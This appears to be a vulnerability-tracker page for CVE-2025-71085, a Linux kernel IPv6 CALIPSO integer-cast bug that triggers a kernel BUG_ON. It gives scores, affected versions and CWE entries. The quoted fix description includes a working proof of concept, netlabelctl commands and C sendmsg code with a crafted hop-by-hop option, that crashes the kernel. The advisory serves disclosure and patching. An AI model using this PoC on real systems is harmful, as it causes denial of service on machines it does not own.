CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Vulnerability summary
CVE-2025-71085 is a high (CVSS 7.5) Reachable Assertion vulnerability in linux. EPSS estimates a 0.30% chance of exploitation in the next 30 days, higher than 23.3% of scored vulnerabilities.
Severe, CVSS 7.5 (CVE.org); no exploitation reported by the 5 checked sources; EPSS 0% (FIRST, 03-11-2026)
Source freshness unavailable
How is this decided?Advisory lineage
Upstream 0 · Downstream 160 · Related 142Showing 100 of 162.
Timeline
- 13-01-2026PublishedVulnerability first disclosed.
- 19-10-2026Last modifiedVulnerability information updated.
Description
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
CVSS metrics
5 scores · 5 sources · 1 version- OSV · Red hatEcosystem advisory · calculated7.5HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- OSV · UbuntuEcosystem advisory · calculated7.5HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- OSV · DebianEcosystem advisory · calculated5.5MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HDiffers
- NVDNIST5.5MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HDiffers
EPSS trend
Probability
0.30%
Chance of exploitation in the next 30 days
Percentile
23%
Versus all other CVEs
30-day change
Increase +0.03 pp
From 0.28% on 04-10-2026
Known exploited
Compare KEV catalogsNot in the CISA KEV catalog.
Not in the ENISA CNW catalog.
Not in the CIRCL catalog.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root cause- CWE-617Reachable AssertionThe product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
- CWE-190Integer Overflow or WraparoundThe product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
Affected systems
Known conditions: network-reachable, no authentication, no user interaction (CVSS vector). Other conditions: not stated in public data.
Ubuntu155 products
- linuxAll versions (No fix recorded) | < 5.15.0-173.183 | < 6.8.0-110.110 | < 6.17.0-22.22
- linux-allwinner-5.19All versions (No fix recorded)
- linux-awsAll versions (No fix recorded) | < 5.15.0-1103.110 | < 6.8.0-1052.55 | < 6.17.0-1012.12
- linux-aws-5.0All versions (No fix recorded)
- linux-aws-5.11All versions (No fix recorded)
Redhat25 products
- bpftool< 0:4.18.0-477.133.1.el8_8
- bpftool-debuginfo< 0:4.18.0-477.133.1.el8_8
- kernel< 0:4.18.0-477.133.1.el8_8
- kernel-abi-stablelists< 0:4.18.0-477.133.1.el8_8
- kernel-core< 0:4.18.0-477.133.1.el8_8
Linux2 products
- linux≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < 86f365897068d09418488165a68b23cb5baa37f2 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < 6b7522424529556c9cbc15e15e7bd4eeae310910 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < 2bb759062efa188ea5d07242a43e5aa5464bbae1 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < c53aa6a5086f03f19564096ee084a202a8c738c0 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < bf3709738d8a8cc6fa275773170c5c29511a0b24 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < 73744ad5696dce0e0f43872aba8de6a83d6ad570 | ≥ 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, < 58fc7342b529803d3c221101102fe913df7adb83 | 4.8
- linux_kernel≥ 4.8.1, < 5.10.248 | ≥ 5.11, < 5.15.198 | ≥ 5.16, < 6.1.160 | ≥ 6.2, < 6.6.120 | ≥ 6.7, < 6.12.64 | ≥ 6.13, < 6.18.4 | 4.8 | 6.19:rc1 | 6.19:rc2 | 6.19:rc3 | 6.19:rc4 | 6.19:rc5 | 6.19:rc6 | 6.19:rc7 | 6.19:rc8
Debian1 product
- linux< 6.1.162-1 | < 6.12.69-1 | < 6.18.5-1
4 vendors · 183 products